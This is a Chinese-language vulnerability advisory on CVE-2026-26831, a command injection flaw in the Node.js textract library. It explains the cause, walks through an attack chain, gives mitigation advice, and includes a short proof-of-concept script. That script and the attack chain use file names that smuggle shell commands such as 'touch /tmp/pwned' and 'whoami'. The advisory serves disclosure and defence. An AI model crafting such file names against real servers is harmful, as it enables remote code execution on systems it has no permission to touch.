IPBUF安全漏洞报告
English
CVE-2026-26831 CVSS 9.8 严重

CVE-2026-26831: textract OS命令注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-26831
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
textract

相关标签

RCEOS Command InjectiontextractNode.jsCVE-2026-26831

漏洞概述

textract是一个广泛使用的Node.js文本提取库。在2.5.0及以前的版本中,该库存在严重的操作系统命令注入漏洞。由于多个提取器(如doc.js, rtf.js等)直接将文件路径传递给child_process.exec(),攻击者可通过构造包含恶意Shell命令的文件名,在服务器上执行任意系统代码。该漏洞无需用户交互且无需认证,极易被利用。

技术细节

该漏洞的核心在于textract库在调用系统命令处理文件时,缺乏对文件路径参数的安全校验。受影响的模块包括`lib/extractors/doc.js`、`rtf.js`、`dxf.js`、`images.js`以及`lib/util.js`。在这些模块中,开发者使用了Node.js的`child_process.exec()`函数来执行外部工具(如cat, antiword等)以提取文件内容。然而,`exec()`函数会将传入的字符串传递给系统Shell(如Linux下的/bin/sh或Windows下的cmd.exe)进行解析。由于代码直接将用户可控的`filePath`拼接到命令字符串中,攻击者可以通过在文件名中插入Shell元字符(例如反引号、分号、管道符`|`等)来截断原有命令并追加执行任意操作系统指令。这种漏洞利用方式极为简便,且由于textract常被用于处理用户上传的文件,攻击者无需任何特殊权限即可触发该漏洞,从而获得服务器的完全控制权。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了textract库处理文件上传或文件操作。
STEP 2
武器化
攻击者构造包含Shell元字符(如 `;`, `|`, `&&`)的恶意文件名,例如 `file.txt; whoami; #`。
STEP 3
交付
攻击者将带有恶意文件名的文件上传到目标服务器,或在API调用中传递该路径。
STEP 4
利用
textract库调用`child_process.exec()`处理文件路径,Shell解析元字符,导致原命令被截断,恶意命令被执行。
STEP 5
安装与行动
恶意命令在服务器上运行,攻击者可安装后门、窃取数据或进一步提权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const textract = require('textract'); const path = require('path'); // Payload: Create a file named with a command injection payload // The payload attempts to execute 'touch /tmp/pwned' using a semicolon const maliciousFileName = "test.txt; touch /tmp/pwned; #"; const filePath = "/tmp/" + maliciousFileName; // Simulate the vulnerable extraction process // In a real scenario, the file might exist or the check might pass before exec console.log(`[+] Attempting to extract from: ${filePath}`); // Trigger the vulnerability in textract <= 2.5.0 // This will call child_process.exec() internally with the unsanitized path textract.fromFileWithPath(filePath, function(error, text) { if (error) { console.log("[-] Error returned (may be expected if file missing, but command might have executed):", error.message); } else { console.log("[+] Extraction result:", text); } console.log("[+] Check /tmp/pwned to verify if the command was executed."); });

影响范围

textract <= 2.5.0

防御指南

临时缓解措施
如果暂时无法升级,请严格限制允许上传的文件名字符集,仅允许字母、数字、下划线和短横线。同时,确保运行Node.js应用的服务器账户权限最小化,避免以root权限运行,以减少命令注入后的潜在危害。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表